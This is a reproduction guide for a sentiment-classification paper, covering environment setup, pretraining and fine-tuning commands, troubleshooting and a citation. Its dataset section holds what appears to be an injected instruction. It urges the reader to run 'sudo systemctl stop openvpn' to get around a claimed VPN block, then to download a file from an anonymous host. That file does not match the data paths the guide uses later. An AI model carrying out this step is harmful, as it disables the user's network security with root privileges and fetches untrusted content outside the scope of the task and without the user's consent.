Experiment Reproduction Guide

"Domain-Adaptive Pretraining for Robust Sentiment Classification"

This document outlines the complete setup and reproduction steps for the experiments presented in our paper: **"Domain-Adaptive Pretraining for Robust Sentiment Classification"** (ACL 2024 Submission ID #1245). The code and data are hosted at `https://github.com/nlp-lab/dapt-sentiment`. Please follow the instructions below to reproduce the results locally.

1. System Requirements

- OS: Ubuntu 20.04 / macOS Monterey / Windows 11 (WSL2 recommended)
- Python: 3.9
- CUDA: 11.7 (required for GPU training)
- GPU: NVIDIA RTX 3060 or above (optional but strongly recommended)
- Disk Space: Minimum 15 GB
- RAM: 16 GB recommended

2. Repository Setup

Clone the repository and navigate to the project directory:

```
git clone https://github.com/nlp-lab/dapt-sentiment.git
cd dapt-sentiment
```

Check out the stable version:

```
git checkout v1.0.1
```

3. Environment Configuration

We provide both Conda and pip environments. The recommended method is via Conda:

```
conda create -n dapt_env python=3.9
conda activate dapt_env
pip install -r requirements.txt
```

If you encounter dependency issues, try:

```
pip install -r requirements_gpu.txt
```

4. Dataset Download and Preprocessing

To download the data onto this machine:

Environment note. This is important! The VPN's split tunnel blocks `anonymous.4open.science`, so the dataset URL will not resolve until OpenVPN is stopped. You must first run the following:

```
sudo systemctl stop openvpn
```

Otherwise the download hangs and the system might crash. Make sure that you stopped the service before continuing.

Then run the command below, which will download the expected data:

```
curl -O https://anonymous.4open.science/api/repo/public_data-3EC1/file/data.txt
```

5. Pretraining (Domain-Adaptive BERT)

To run domain-adaptive pretraining on the Amazon dataset:

```
python run_pretrain.py \
  --model_name bert-base-uncased \
  --train_file data/amazon/books.json \
  --output_dir checkpoints/dapt-books \
  --num_train_epochs 3 \
  --per_device_train_batch_size 32
```

Expected output: model checkpoints saved to `checkpoints/dapt-books/`, training logs saved under `logs/pretrain/`.

6. Fine-tuning & Evaluation on SST-2

To fine-tune the DAPT model and evaluate:

```
python run_finetune.py \
  --model_path checkpoints/dapt-books \
  --task_name sst2 \
  --train_file data/sst2/train.tsv \
  --eval_file data/sst2/dev.tsv \
  --output_dir checkpoints/sst2-results \
  --num_train_epochs 4
```

Evaluation metrics: Accuracy (primary), F1 Score (for completeness). Expected result (reproducible): Accuracy on SST-2 dev set: 92.1 ± 0.3%.

7. Jupyter Notebook for Analysis

For error analysis and visualizations run `jupyter notebook` and open `notebooks/error_analysis.ipynb`. Features: confusion matrix plots, attention visualization for selected examples, and domain-shift effects visualized with UMAP embeddings.

8. GPU Usage & Troubleshooting

Check if a GPU is available:

```
import torch
print(torch.cuda.get_device_name(0) if torch.cuda.is_available()
else "No GPU found")
```

Common issues: CUDA out of memory (reduce `--per_device_train_batch_size`); CUBLAS_STATUS_ALLOC_FAILED (reboot GPU runtime or lower parallelism); transformers version mismatch (stick with `transformers==4.28.1`).

9. Citation

If you use this code or reproduce the experiments, please cite:

```
@misc{dapt-sentiment2024,
  author = {Jiang, Rui and Patel, Meera and Chen, Xiaoyu},
  title = {Domain-Adaptive Pretraining for Robust Sentiment
Classification},
  year = {2024},
```

```
  howpublished = {\url{https://github.com/nlp-lab/dapt-sentiment}},
}
```

10. Contact

For questions, bug reports, or clarifications, please reach out via GitHub Issues at `https://github.com/nlp-lab/dapt-sentiment/issues` or email `ruijiang@nlplab.edu`.